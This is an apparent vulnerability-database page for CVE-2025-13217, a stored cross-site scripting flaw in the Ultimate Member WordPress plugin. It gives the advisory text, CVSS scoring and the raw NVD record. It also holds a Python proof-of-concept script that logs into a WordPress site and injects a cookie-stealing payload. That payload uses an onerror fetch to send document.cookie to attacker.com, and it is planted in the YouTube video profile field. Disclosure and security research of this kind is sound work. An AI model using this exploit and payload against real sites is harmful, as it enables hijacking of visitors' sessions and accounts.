Security Vulnerability Report
中文
CVE-2025-13217 CVSS 6.4 MEDIUM

CVE-2025-13217

Published: 2025-12-17 19:16:01
Last Modified: 2026-04-15 00:35:42

Description

The Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the YouTube Video 'value' field in all versions up to, and including, 2.11.0. This is due to insufficient input sanitization and output escaping on user-supplied YouTube video URLs in the `um_profile_field_filter_hook__youtube_video()` function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that execute whenever a user accesses the injected user's profile page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Member插件 2.11.0及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-13217 PoC - Ultimate Member YouTube Video Stored XSS # Target: WordPress site with Ultimate Member plugin <= 2.11.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def login(): """Authenticate with WordPress to obtain session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } resp = session.post(login_url, data=login_data) return session if 'wordpress_logged_in' in session.cookies.get_dict() else None def exploit_xss(session): """Inject malicious JavaScript via YouTube video field""" # XSS payload - cookie stealing example xss_payload = '<img src=x onerror="fetch(`https://attacker.com/log?c=`+document.cookie)">' # Update profile with XSS payload in YouTube video field profile_url = f"{TARGET_URL}/um-api/um_users/update/?hash=YOUR_NONCE_HASH" profile_data = { 'youtube_video': xss_payload, 'user_id': 'ATTACKER_USER_ID' } resp = session.post(profile_url, json=profile_data) return resp.status_code == 200 def main(): print("[*] CVE-2025-13217 Ultimate Member Stored XSS PoC") session = login() if session: print("[+] Login successful") if exploit_xss(session): print("[+] XSS payload injected successfully") print("[*] Visit target profile page to trigger the payload") else: print("[-] Login failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13217", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:00.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the YouTube Video 'value' field in all versions up to, and including, 2.11.0. This is due to insufficient input sanitization and output escaping on user-supplied YouTube video URLs in the `um_profile_field_filter_hook__youtube_video()` function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that execute whenever a user accesses the injected user's profile page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultimate-member/trunk/includes/core/um-filters-fields.php#L80", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3421362/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/876b57e0-cf1e-4ce9-ba85-a5d4554797bd?source=cve", "source": "[email protected]"}]}}